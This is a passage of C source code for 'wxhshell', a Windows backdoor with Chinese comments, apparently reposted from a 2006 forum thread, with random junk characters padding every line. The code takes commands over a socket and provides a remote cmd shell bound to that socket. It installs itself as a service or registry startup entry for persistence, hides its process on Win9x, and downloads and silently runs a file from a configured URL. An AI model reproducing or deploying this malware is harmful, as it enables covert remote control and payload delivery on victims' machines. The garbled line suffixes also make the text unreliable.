      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {|'NpV  
    break; ;ik,6_/Y  
  } 2B^WZlx  
  // 安装 kgI8PybY  
  case 'i': { NkoyEa/^[  
    if(Install()) 6s>io%,:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {0 %  
    else q/Zs]Gz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nzZs2  
    break; Sk-Q 4D^  
    } Ly z8DwZ  
  // 卸载 U'u_'5 {  
  case 'r': { zK>m4+)~  
    if(Uninstall()) mDk6@Gd@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {pdPp|YDZ-  
    else hl0\$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hAs ReZ?  
    break; _ gGA/   
    } U2LD_-HZ  
  // 显示 wxhshell 所在路径 rGrR;  
  case 'p': { G9Noch9 g  
    char svExeFile[MAX_PATH]; 4Dy1M}7  
    strcpy(svExeFile,"\n\r"); @R<z=n"  
      strcat(svExeFile,ExeFile); W.%p{wB |  
        send(wsh,svExeFile,strlen(svExeFile),0); 8llXpe  
    break; NwdrJw9  
    } >I-rsw2  
  // 重启 &3J^z7kU  
  case 'b': { {jv+ J L"5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ohs`[U=%~  
    if(Boot(REBOOT)) B`||4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+0dz,  
    else { e tL?UF$  
    closesocket(wsh); |UB)q5I  
    ExitThread(0); ;kWWzg  
    } {{B'65Wu  
    break; zhbSiw  
    } S}cR+d1}h  
  // 关机 $|@pY| f  
  case 'd': { )a5ON8?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y4r?M8]"r  
    if(Boot(SHUTDOWN)) !X||ds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>kg]  
    else { 4GH&u,  
    closesocket(wsh); +XSe;xk;rD  
    ExitThread(0); aX zb]">  
    } vxug>2  
    break; =qbN?a/?2  
    } VFMn"bYOB  
  // 获取shell 'p78^4'PL  
  case 's': { )Gk?x$pY@  
    CmdShell(wsh); vexF|'!}0#  
    closesocket(wsh); EZzR"W/  
    ExitThread(0); f*A B Im  
    break; mU  
  } 3ZI:EZ5  
  // 退出 cNN0-<#c  
  case 'x': { on"ENT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C<(qk_  
    CloseIt(wsh); zbr^ulr  
    break; <6s@eare8  
    } @2mWNYHR*>  
  // 离开 rA^=;?7Q  
  case 'q': { ?6>*mdpl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4q:8<*W=  
    closesocket(wsh); J}+N\V~  
    WSACleanup(); G9V2(P  
    exit(1); ?3qp?ea  
    break; >56fa6=3@  
        } WW+ F9~S  
  } "5z@A/Z/  
  } )v*k\:Hw  
KeB??1S  
  // 提示信息 /9,'.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .'$8Hj;@  
} '9zKaL  
  } dG8mE&$g  
c5uC?b].  
  return; 6k![v@2R  
} jKo9y  
; yE.R[I  
// shell模块句柄 H "5,To  
int CmdShell(SOCKET sock) o3eaNYa  
{ )MLbE-@  
STARTUPINFO si; FCOa|IKsN  
ZeroMemory(&si,sizeof(si)); %W$b2N{l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .o5K X*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VbMud]40F  
PROCESS_INFORMATION ProcessInfo; P-$ ,  
char cmdline[]="cmd"; SS24@:"{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Slj U=,  
  return 0; KATf9-Sz  
} c~ vql4  
==gL!e{  
// 自身启动模式 mdQe)>  
int StartFromService(void) xpCZlOld  
{ 7[uN;B#V  
typedef struct P;-.\VRu  
{ 2VUN  
  DWORD ExitStatus; r%WHYhD  
  DWORD PebBaseAddress; Oo-4WqRJ  
  DWORD AffinityMask; tQYV4h\Qj  
  DWORD BasePriority; eK5~gnv,  
  ULONG UniqueProcessId; 2{Dnfl'k  
  ULONG InheritedFromUniqueProcessId; <#;5)!gr{  
}   PROCESS_BASIC_INFORMATION; Mk=*2=d  
h-sO7M0E]  
PROCNTQSIP NtQueryInformationProcess; U1  *P  
H=*0KX{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %Y0BPTt$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; avM8-&h  
`HnZ{PKf  
  HANDLE             hProcess; 6uKth mr  
  PROCESS_BASIC_INFORMATION pbi; (d@(QJ  
!Q<3TfC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M(:bM1AD`u  
  if(NULL == hInst ) return 0; 9Iq<*\V 4  
+'iqGg-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $aB`A$'hK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oM^vJ3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q4*{+$A  
&/2+'wCp5  
  if (!NtQueryInformationProcess) return 0; "L`BuAB  
{O).!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2L[!~h2  
  if(!hProcess) return 0; 2<h~: L  
`QRXQ c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; auX(d -m  
-sdzA6dp  
  CloseHandle(hProcess); )E7wBNV   
L[<Y6u>m!1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %X^qWKix}m  
if(hProcess==NULL) return 0; oR!h eCnu  
lq]8zm<\)]  
HMODULE hMod; =8TBkxG  
char procName[255]; ;I80<SZ  
unsigned long cbNeeded; y`5 ?  
JUj.:n2e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (CH6Q]Wi_!  
yiXb<g+B  
  CloseHandle(hProcess); .iP>?9$f"  
@Q{:m)\  
if(strstr(procName,"services")) return 1; // 以服务启动 nT2b"wkTT  
1{]S[\F]  
  return 0; // 注册表启动 Y,yU460T8  
} s]`6u yW"  
%C #Ps   
// 主模块 #`= >Mza  
int StartWxhshell(LPSTR lpCmdLine) 6/Yo0D>M$  
{ \ZhkOl  
  SOCKET wsl; $Q}L*4?]  
BOOL val=TRUE; p,|)qr:M  
  int port=0; R/fE@d2~In  
  struct sockaddr_in door; 92R,o'#  
F7w\ctUP  
  if(wscfg.ws_autoins) Install(); OC-d5P  
wu11)HFL|z  
port=atoi(lpCmdLine); uOKD#   
;;rx)|\<R  
if(port<=0) port=wscfg.ws_port; ^&y*=6C  
bivo7_  
  WSADATA data; GUM-|[~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &'i>d&  
sa/9r9hc+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1M?x,N_W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PY4a3dp U  
  door.sin_family = AF_INET; ]\>MDH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c&%3k+j  
  door.sin_port = htons(port); xaB#GdD  
tn _\E/Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `s\[X-j]  
closesocket(wsl); kB5y}v.3 S  
return 1; |0>rojMq  
}  P s|[  
/NR*<,c%  
  if(listen(wsl,2) == INVALID_SOCKET) { QhAYCw2  
closesocket(wsl); 7@ y}J5,  
return 1; [AFGh L+t3  
} +XX5;;IC  
  Wxhshell(wsl); d!Ws-kzE  
  WSACleanup(); 5 ';[|f  
;9fWxH  
return 0; EV* |\ te  
nehk8+eV_  
} 2$b1q!g<  
vO"E4s  
// 以NT服务方式启动 0R+p\Nc&1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wt'"<UN  
{ ){u# (sW  
DWORD   status = 0; j5[ >HL  
  DWORD   specificError = 0xfffffff; 1|G5 W:  
p14$XV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k%-UW%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H15!QxD#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &`>dY /Y  
  serviceStatus.dwWin32ExitCode     = 0; p<Tg}fg  
  serviceStatus.dwServiceSpecificExitCode = 0; GMLx$?=j  
  serviceStatus.dwCheckPoint       = 0; yDe*-N\'W  
  serviceStatus.dwWaitHint       = 0; <; Td8O89_  
?;(!(<{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JJM!pD\h  
  if (hServiceStatusHandle==0) return; 0|0IIgy  
,m7Z w_.  
status = GetLastError(); 9!2$?xqym  
  if (status!=NO_ERROR) -s le7k  
{ zH~g5xgh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c$u#U~~  
    serviceStatus.dwCheckPoint       = 0; 6"rS?>W/mO  
    serviceStatus.dwWaitHint       = 0; FcOrA3tt  
    serviceStatus.dwWin32ExitCode     = status; IsFL"Vx  
    serviceStatus.dwServiceSpecificExitCode = specificError; i*09m^r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ygQAA!&']  
    return; cZrJW  
  } eCg|@d%D  
]^a{?2 ei  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6/(Z*L"~6k  
  serviceStatus.dwCheckPoint       = 0; )^ )|b5,  
  serviceStatus.dwWaitHint       = 0; ;D4 bxz0ou  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (V/! 0Lj  
} ~aL?{kb+  
Hb^ovc0   
// 处理NT服务事件,比如:启动、停止 mryT%zSlM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) abEdZ)$  
{ cj[%.M5iBA  
switch(fdwControl) H66~!J0;a  
{ oK"#*n  
case SERVICE_CONTROL_STOP: A v/y  
  serviceStatus.dwWin32ExitCode = 0; [f$pq5f='  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &mA{_|>  
  serviceStatus.dwCheckPoint   = 0; z^%`sUgP  
  serviceStatus.dwWaitHint     = 0; RcI0n"Gi_  
  { %V!!S#W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :O;uP_r9  
  } j{/wG::  
  return; x^pHP|<3`  
case SERVICE_CONTROL_PAUSE: g$# JdN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IueI7A  
  break; 3}.OSt'=  
case SERVICE_CONTROL_CONTINUE: Y[;Z7p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X%B2xQM 5  
  break; =A"z.KfV  
case SERVICE_CONTROL_INTERROGATE: Ftu d6  
  break; IF?  
}; HNfd[#gV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J'lqHf$T  
} )f%Q7  
S8]YS@@D   
// 标准应用程序主函数 5*$z4O:Aa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [{+ZQd  
{ lJ4/bL2I/  
lstnxi%x  
// 获取操作系统版本 jSvo-  
OsIsNt=GetOsVer(); "fd'~e$S#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7{=+Va5  
!/e8x;_  
  // 从命令行安装 Psjk 7\  
  if(strpbrk(lpCmdLine,"iI")) Install(); tZD^<Q7}\  
Lez]{%+.`[  
  // 下载执行文件 KVpQ,x&q~  
if(wscfg.ws_downexe) { Mg u=cm )  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |c,'0V,"cH  
  WinExec(wscfg.ws_filenam,SW_HIDE); E0Kt4%b  
} _eaK:EW  
x^UAtKSy  
if(!OsIsNt) { HR?a93  
// 如果时win9x,隐藏进程并且设置为注册表启动 '494^1"io  
HideProc(); 7I{rhA  
StartWxhshell(lpCmdLine); CH=k=)() ]  
} 7{ QjE  
else V%J_iY/BUb  
  if(StartFromService()) -$y/*'  
  // 以服务方式启动 O'W[/\A56M  
  StartServiceCtrlDispatcher(DispatchTable); 2fdC @V  
else 0a v2w5>af  
  // 普通方式启动 yrrP#F  
  StartWxhshell(lpCmdLine); Y2y = P  
BUEV+SZ4  
return 0; mDIN%/S'  
}
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只看该作者 1 发表于: 2006-10-10
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